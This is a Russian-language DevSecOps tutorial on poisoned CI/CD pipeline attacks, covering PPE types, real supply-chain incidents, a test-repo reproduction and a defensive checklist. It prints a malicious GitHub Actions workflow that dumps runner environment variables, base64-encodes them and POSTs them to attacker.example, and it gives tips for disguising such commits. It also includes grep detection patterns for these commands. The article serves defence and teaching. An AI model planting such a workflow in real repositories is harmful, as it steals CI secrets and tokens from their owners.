Уязвимости CI/CD раннера: воспроизводим отравление артефакта и ловим атаку до релиза

Представь: за пару часов кто-то пушит вредоносные коммиты в тысячи репозиториев на GitHub. Ни одного эксплойта платформы — только YAML-файлы workflow (инструкции для CI/CD-раннера, сервера, который выполняет задачи сборки). Раннеры послушно запускают чужой код с доступом ко всем секретам окружения. На выходе — npm-пакет, собранный из отравленного репозитория, который расходится к downstream-потребителям без компрометации npm-аккаунта. Это не фантазия — это механика реальных кампаний типа «Megalodon». Ниже разберу этот вектор, воспроизведу его в тестовой среде шаг за шагом и покажу, что именно на каждом этапе должен ловить DevSecOps до релиза.
Supply chain атака на CI/CD: зачем атакующему раннер
CI/CD-пайплайн (конвейер непрерывной интеграции и доставки кода) — привилегированная инфраструктура. Типичный workflow развёртывания одновременно имеет доступ к AWS-ключам, токенам npm-публикации, паролям Docker Hub и GitHub-токену с правами записи. Если проводить аналогию: npm install на локальной машине — неприятно, но npm install на сервере с ключами от production-базы и облака — как оставить серверную незапертой. Отравленный артефакт сборки — троянский конь внутри того самого npm install, только на стероидах.
В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1195 — её стандартные идентификаторы) атака на пайплайн задействует сразу несколько техник:
- Supply Chain Compromise (T1195, Initial Access) — внедрение вредоносного кода через цепочку поставок ПО
- Unsecured Credentials (T1552, Credential Access) — сбор секретов, доступных раннеру: API-ключей, токенов, паролей из CI-переменных
- Command and Scripting Interpreter (T1059, Execution) — выполнение произвольных команд в shell раннера
- Indicator Removal: Timestomp (T1070.006, Defense Evasion) — подделка дат коммитов, чтобы вредоносный код выглядел «старым и доверенным»
Монетизация прямолинейна: украденные AWS-ключи перепродаются или используются для криптомайнинга, npm-токены позволяют публиковать вредоносные пакеты от имени жертвы. По данным Elastic Security Labs, npm-червь Shai-Hulud работал именно так: собирал GitHub Personal Access Tokens через gh auth token, запускал TruffleHog для разведки секретов и публиковал вредоносный код от имени скомпрометированного разработчика — по некоторым оценкам, десятки тысяч вредоносных пакетов в первой волне.
Атака начинается задолго до модификации workflow. Начальный вектор — часто инфостилеры: вредоносные программы, крадущие пароли и токены с машин разработчиков. Украденные PAT (Personal Access Tokens — долгоживущие токены доступа к GitHub) дают доступ к репозиториям, а дальше — автоматическая инъекция workflow по шаблону. Kill chain из трёх звеньев: кража credential → доступ к репозиторию → отравление пайплайна. Ломать платформу не нужно — хватает одного украденного токена.
По данным Unit 42 (Palo Alto Networks), в ходе red-team упражнений исследователи неоднократно обнаруживали жёстко закодированные IAM-ключи в репозиториях GitLab и получали администраторский доступ к облачным окружениям. При этом лишь малая часть AWS-аккаунтов мониторилась GuardDuty. Типичная картина: пайплайн есть, а мониторинг пайплайна — нет.
Отравление артефактов сборки: три типа Poisoned Pipeline Execution
PPE (Poisoned Pipeline Execution — выполнение «отравленного» пайплайна) — класс атак, в которых злоумышленник модифицирует файлы, влияющие на работу CI/CD. Не одна техника, а три подхода с разной механикой и разной сложностью обнаружения. По классификации OWASP — CICD-SEC-4, один из десяти критических рисков CI/CD-конвейера.
| Тип | Что меняет атакующий | Пример | Сложность детекта |
|---|---|---|---|
| D-PPE (Direct) | CI-конфиг напрямую | Новый шаг в .github/workflows/*.yml |
Низкая — изменение видно в diff |
| I-PPE (Indirect) | Файлы, на которые ссылается конфиг | Makefile, deploy.sh, тестовые скрипты |
Средняя — workflow не меняется |
| 3PE (Third-party) | Внешние зависимости пайплайна | GitHub Action по мутабельному тегу @main |
Высокая — изменение за пределами репозитория |
Сценарий типа Megalodon — классический D-PPE: прямое внедрение workflow-файлов с триггерами on: [push, pull_request], чтобы каждое действие в репозитории запускало сбор секретов. Аналогичный паттерн фиксировался в публичных отчётах: массовая инъекция workflow-файлов с эксфильтрацией секретов.
Реальные кейсы: от D-PPE до compromised build pipeline
D-PPE: Teleport (2021). Компания Teleport описала уязвимость в своей CI/CD-инфраструктуре: привилегированные контейнеры, через которые вредоносный pull request мог выйти из sandbox и получить доступ к секретам окружения. Утечки не произошло, но вектор признан рабочим.
I-PPE: AWS (2021). Конфигурация сборки ссылалась на скрипт развёртывания, который можно было модифицировать через pull request. CI-система запускала этот скрипт с привилегиями развёртывания без дополнительной валидации — можно было загрузить произвольный файл в production-окружение. Обрати внимание: сам workflow-файл не менялся. Именно поэтому I-PPE сложнее ловить, чем D-PPE.
3PE: tj-actions/changed-files (март 2025). Атакующие перехватили мутабельные теги версий GitHub Action, затронув тысячи downstream-репозиториев. Год спустя аналогичная атака поразила aquasecurity/trivy-action — популярный сканер безопасности контейнеров. Ирония: инструмент для безопасности сам стал вектором атаки.
Отдельно стоит триггер [pull_request_target](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) в GitHub Actions. В отличие от обычного pull_request, он выполняет workflow в контексте базового репозитория с доступом к секретам, но может запускать код из недоверенного fork’а. Атакующие систематически сканируют публичные репозитории на наличие этой мисконфигурации. Если ты настраиваешь GitHub Actions впервые — запомни: pull_request_target + checkout кода из PR = секреты доступны автору PR.
Эксплуатация CI/CD раннера: пошаговое воспроизведение
Дальше — воспроизведение D-PPE в тестовой среде. Сначала позиция атакующего, затем переключаемся на защитника: что именно в каждом моменте должно было сработать.
Делай раз: готовим тестовое окружение
Предпосылки: GitHub-аккаунт, тестовый репозиторий (не production!), включённые GitHub Actions (Settings → Actions → General → Allow all actions). Для GitLab принцип идентичен — файл .gitlab-ci.yml вместо .github/workflows/*.yml.
Для GitLab Runner (уязвимость GitLab Runner этого класса подробно разобрана исследователями RT-Solar) есть дополнительный момент: если раннер настроен с executor shell, команды выполняются напрямую на хосте — без контейнерной изоляции. Если executor docker, но с флагом --docker-privileged или монтированием /var/run/docker.sock — возможен container escape. Оба варианта описаны в документации GitLab, и оба означают полный доступ к хосту из вредоносного пайплайна.
Делай два: внедряем payload в workflow
Минимальный вредоносный workflow (паттерн адаптирован из описания D-PPE от Cloudsmith и типовых атак на CI/CD):
name: SysDiag
on: [push, pull_request]
jobs:
diag:
runs-on: ubuntu-latest
steps:
- run: |
printenv | base64 -w0 | \
curl -s -X POST -d @- https://attacker.example/collect
Что происходит построчно: printenv выводит все переменные окружения раннера (включая secrets — API-ключи, пароли и токены из CI-переменных), base64 -w0 кодирует вывод в одну строку (Base64 — кодирование данных в текстовый формат, здесь используется для маскировки бинарных данных), curl -s -X POST тихо отправляет результат на сервер атакующего.
Маскировка бывает изощрённой: автор коммита — build-bot или ci-bot, email — вида build-system@noreply.dev, сообщения коммитов — «ci: add build optimization step», «chore: optimize pipeline runtime». Выглядит как стандартная CI-автоматизация и не вызывает подозрений при беглом code review. В реальных инцидентах подобные email-адреса обнаруживались в телеметрии инфостилеров — подтверждение цепочки «кража credential → инъекция workflow».
Ожидаемый результат (тестовая среда): если в тестовом репозитории нет реальных секретов, printenv покажет стандартные переменные GitHub Actions — GITHUB_TOKEN, GITHUB_REPOSITORY, RUNNER_OS. В production-среде тут окажутся AWS-ключи, npm-токены и всё, что настроено в Settings → Secrets. Нюанс: GitHub Actions маскирует известные secrets в логах раннера (log redaction), поэтому во вкладке Actions секреты отображаются как ***. Но redaction работает только на уровне логов — сетевую эксфильтрацию через curl оно не блокирует. Поэтому обнаружение строится на diff-анализе workflow-файлов, а не на просмотре логов.
Делай три: проверяем — что поймал пайплайн
Переключаемся на позицию защитника. Открой вкладку Actions и проверь три вещи:
- Кто создал workflow? В реальных атаках на CI/CD часто используются throwaway-аккаунты с рандомными именами. Незнакомый аккаунт — красный флаг.
- Контекст коммита. Команда
git log --format='%H %an <%ae> %aI'покажет автора и дату. Email на@noreply.devили@automated.devв сочетании с молодым аккаунтом — подозрительно. - Содержимое workflow. Любой шаг с
curl,wget,base64, обращением кprintenvилиenv, POST-запросами к внешним хостам — требует ручного review.
Именно отсутствие этих проверок позволяет атакам типа Megalodon работать часами. Тысячи репозиториев не имеют branch protection на .github/workflows/, дают broad write permissions внешним контрибьюторам и хранят production-секреты в over-privileged runner environments — уязвимость GitHub Actions runner, которую можно закрыть одной настройкой.
Безопасность пайплайна DevSecOps: детектирование и проверка артефактов перед релизом
Сигналы в diff-анализе workflow-файлов
Для автоматического обнаружения подозрительных изменений в CI/CD-конфигурациях применяются regex-паттерны (подробно описаны в публикациях Elastic Security Labs). Ключевые категории сигналов:
- Эксфильтрация:
curl.*POST,wget.*--post,base64,printenv, обращения кsecrets. - Расширение привилегий: добавление
permissions: write-allилиid-token: write - Targeting раннера: переключение на
self-hostedrunners, указание нестандартного container image - Мутабельные ссылки:
@main,@master,@latestвместо привязки к SHA-хешу конкретного коммита - Timestomp (T1070.006): подделка дат, чтобы вредоносный файл выглядел «старым»
Простейшая проверка на локальной машине:
# Поиск подозрительных паттернов в workflow-файлах
grep -rnE '(curl.*(POST|-d)|base64|printenv|secrets\.)' \
.github/workflows/ --include='*.yml'
Если grep возвращает строки — это не приговор, но каждое совпадение требует ручного review. Для зрелых команд рекомендуется многоуровневый подход: regex-фильтрация → анализ контекста (возраст аккаунта автора, история контрибуций) → структурированный вердикт с уровнем severity и рекомендациями вида «закрепить actions/setup-node@main на конкретный SHA» вместо абстрактного «проверьте workflow».
SLSA supply chain security и подпись артефактов
Проблема отравленного артефакта напрямую отражена в OWASP A08:2021 — Software and Data Integrity Failures: код и инфраструктура без защиты от нарушения целостности. SLSA (Supply-chain Levels for Software Artifacts — уровни защиты цепочки поставок ПО) задаёт требования к верификации: каждый артефакт (Docker-образ, npm-пакет, бинарник) должен иметь provenance — криптографическое доказательство того, где, когда и из какого кода он собран.
Проверка артефактов перед релизом реализуется через Cosign (часть Sigstore) — подпись и верификация без управления ключами (keyless-режим через OIDC — OpenID Connect, протокол для получения временных токенов):
# Верификация подписи образа (Cosign keyless)
cosign verify \
--certificate-identity "https://github.com/<YOUR_ORG>/<YOUR_REPO>/.github/workflows/build.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
registry.example.com/my-app:latest
Что проверяется: образ подписан конкретным workflow из конкретного репозитория и ветки. Если образ собран из отравленного fork’а или модифицированного workflow — верификация провалится с ошибкой no matching signatures. OIDC-федерация заменяет хранение статических AWS/GCP/Azure-ключей в CI-переменных на короткоживущие токены: украденный OIDC-токен живёт минуты, а не месяцы, как IAM-ключ.
Защита CI/CD от атак: чеклист из 7 пунктов
-
SHA-пиннинг всех Actions. Вместо
uses: actions/checkout@v4—uses: actions/checkout@<полный SHA>. Мутабельные теги — вектор, через который скомпрометированы tj-actions и trivy-action. -
Минимальные permissions per job. Явное объявление
contents: read,id-token: writeтолько где требуется. Дефолтныйpermissions: write-allрасширяет blast radius на всю организацию. -
Branch protection на workflow-каталог. Обязательный code review для изменений
.github/workflows/и.gitlab-ci.yml. В атаках типа Megalodon именно отсутствие этого правила позволяет массовую инъекцию. -
Ephemeral runners. Раннер создаётся под задачу и уничтожается после. Для self-hosted — флаг
--ephemeralпри регистрации. Для GitLab —[runners.docker]сprivileged = false. -
OIDC вместо статических секретов. Замена долгоживущих ключей на OIDC-федерацию с привязкой к конкретному репозиторию, ветке и environment.
-
Подпись и верификация артефактов. Cosign/Sigstore для контейнерных образов, SLSA provenance для всех артефактов. Без подписи — артефакт не попадает в production.
-
Автоматический diff-анализ CI-файлов. Проверка каждого PR, затрагивающего workflow, build-скрипты, Makefile, lockfile. Инструменты: StepSecurity Harden Runner, специализированные детекторы CI/CD-злоупотреблений, собственные grep-правила из раздела выше.
Три контроля из этого списка — SHA-пиннинг, минимальные permissions и OIDC — закрывают самые распространённые пути эксплуатации и ограничивают ценность любых credentials, захваченных со скомпрометированного раннера.
Большинство команд, которые я вижу на проектах, вкладывают серьёзные ресурсы в SAST, DAST и SCA — сканируют код приложения до последней строки. При этом файл .github/workflows/deploy.yml месяцами лежит без единого review, с permissions: write-all и мутабельными тегами на actions. Пайплайн не воспринимается как поверхность атаки — он «инфраструктурный клей», который «просто работает». Инциденты с tj-actions/changed-files и Shai-Hulud показывают масштаб этого слепого пятна: тысячи затронутых репозиториев, ноль эксплойтов платформы, только YAML и человеческая небрежность.
Ещё одна неприятная деталь: половина проектов, где я проверял CI/CD-безопасность, хранила production-секреты в GitHub Secrets без привязки к environment. Любой workflow в репозитории получает доступ ко всем секретам — без одобрения, без ограничения по ветке. Environment-уровень секретов с обязательным approval существует давно, но включают его единицы.
Supply chain атаки на CI/CD будут дешеветь. Инфостилеры уже автоматизируют сбор PAT-токенов, дальше — массовая инъекция workflow по описанному шаблону D-PPE. Платформы начнут требовать обязательный review для workflow-файлов как дефолтную политику, но произойдёт это после очередного крупного инцидента, а не до. Выигрывает тот, кто внедрил чеклист до того, как пришлось разбирать инцидент. Если переходишь из IT в ИБ и нужна структура вместо хаотичного самообучения — на IB Basics показывают не теорию, а как джуны реально решают рабочие задачи.
Эту тему и смежные навыки разбирают на практике в курсе «Профессия DevSecOps-инженер» Codeby Academy.